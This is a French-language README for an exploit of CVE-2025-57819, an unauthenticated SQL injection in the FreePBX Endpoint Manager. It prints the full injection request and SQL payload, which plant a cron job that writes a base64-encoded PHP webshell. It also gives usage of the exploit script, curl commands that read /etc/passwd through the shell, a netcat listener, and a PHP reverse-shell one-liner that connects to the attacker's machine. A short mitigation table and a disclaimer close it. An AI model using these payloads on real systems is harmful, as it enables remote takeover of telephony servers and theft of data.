
Injection SQL non authentifiée dans FreePBX Endpoint Manager (CVE-2025-57819) qui injecte un webshell PHP planifié par cron pour une exécution de code à distance.
FreePBX est l'interface graphique web open-source d'Asterisk PBX, largement déployée dans les environnements téléphoniques d'entreprise. Le module Endpoint Manager expose un gestionnaire AJAX à l'adresse /admin/ajax.php qui accepte un paramètre brand et l'interpole directement dans une requête SQL sans assainissement. Un attaquant distant non authentifié peut injecter du SQL arbitraire, insérer une ligne dans la table cron_jobs, et faire en sorte que le démon cron de FreePBX écrive un webshell PHP exécutable dans la racine web — ce qui permet une exécution de code à distance non authentifiée en environ une minute.
| Champ | Valeur |
|---|
| ID CVE | CVE-2025-57819 |
| Score CVSS | 9,8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL |
| Composant | Module Endpoint Manager FreePBX |
| Affecté | FreePBX 17.x (non patché) |
| Corrigé | FreePBX 17.x (patché) |
| Vecteur d'attaque | Réseau — Aucune authentification requise |
La requête vulnérable cible le gestionnaire de commandes AJAX du Endpoint Manager :
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <cible>
Le paramètre brand est concaténé dans une requête SQL sans échappement ni instructions préparées. Un attaquant ferme la chaîne de requête et ajoute une seconde instruction :
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
L'entrée cron injectée s'exécute chaque minute sous le propriétaire du processus serveur web/Asterisk et écrit :
<?php system($_GET[cmd]); ?>
dans /var/www/html/webshell.php, offrant une exécution de commande OS non authentifiée via HTTP.
Le gestionnaire AJAX du Endpoint Manager construit le SQL dynamiquement en utilisant un formatage de chaîne plutôt que des requêtes paramétrées. Le champ brand n'est jamais validé ni échappé avant d'être intégré dans une instruction SELECT, ce qui le rend trivialement injectable.
Attaquant ──GET (injection SQL)──▶ /admin/ajax.php ──INSERT──▶ table cron_jobs
│
Démon cron FreePBX (≤60s) │
▼
Attaquant ──GET ?cmd=id──────────▶ /webshell.php ◀── écrit ── exec cron
pip install requests urllib3
-t, --target Adresse IP ou nom d'hôte cible (obligatoire)
--timeout Secondes d'attente pour la disponibilité de la cible (défaut : 30)
--delay Secondes d'attente pour l'exécution du cron (défaut : 65)
1. Exécutez l'exploit contre la cible :
# Basique — attendre 65 s pour que le cron s'exécute
python3 exploit.py -t <IP>
# Utiliser un nom d'hôte
python3 exploit.py -t connected.htb
# Attente cron étendue sur cibles lentes
python3 exploit.py -t <IP> --delay 90
2. Si le webshell est confirmé, interagissez directement avec lui :
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. Passez à un reverse shell via le webshell :
Démarrez un écouteur sur votre machine :
nc -lvnp <LOCAL_PORT>
Puis déclenchez un reverse shell PHP via le paramètre cmd (encodé URL) :
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
La charge utile décodée envoyée en tant que cmd est :
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ Module Endpoint FreePBX · Injection SQL → Webshell Cron ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
ID CVE : CVE-2025-57819
Composant : Module Endpoint FreePBX
Affecté : 17.x non patché → Corrigé : 17.x patché
Score CVSS : 9,8 (Critique)
Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — Injection SQL
Type : Injection SQL non authentifiée → Webshell PHP programmé par cron
Référence : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Sondage de la cible <IP> (max 30s) ...
14:03:12 [+] Cible en vie — HTTP 200
14:03:12 [*] Point d'injection : http://<IP>/admin/ajax.php
14:03:12 [!] Injection du cron via injection SQL ...
14:03:12 [+] Requête d'injection envoyée
14:03:12 [*] Attente de 65s pour l'exécution du cron ...
14:04:17 [*] Sondage du webshell à http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell actif — sortie de la commande :
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] URL du webshell : http://<IP>/webshell.php?cmd=<commande>
14:04:17 [+] Routine d'exploitation terminée.
Note temporelle. Le
--delaypar défaut de 65 secondes garantit que le démon cron (qui se déclenche au début de chaque minute) a eu au moins une opportunité d'exécuter la tâche injectée. Sur cibles lentes, augmentez à--delay 90ou--delay 120.
| Priorité | Action |
|---|---|
| Critique | Appliquer immédiatement le patch fournisseur FreePBX pour CVE-2025-57819 |
| Critique | Supprimer tout artefact /var/www/html/webshell.php existant |
| Haute | Restreindre l'accès à /admin/ajax.php aux sources réseau authentifiées et de confiance |
| Haute | Auditer et assainir toutes les requêtes SQL dans Endpoint Manager — utiliser des instructions préparées |
| Moyenne | Restreindre la table cron_jobs : limiter les rôles pouvant faire INSERT |
| Moyenne | Appliquer une règle WAF bloquant les motifs de requêtes empilées sur le point d'accès AJAX |
| Basse | Exécuter le processus FreePBX/Asterisk sous un compte de privilège minimal sans accès en écriture à la racine web |
Cet exploit est fourni strictement à des fins éducatives et pour des tests de sécurité autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Toute utilisation non autorisée est illégale et contraire à l'éthique.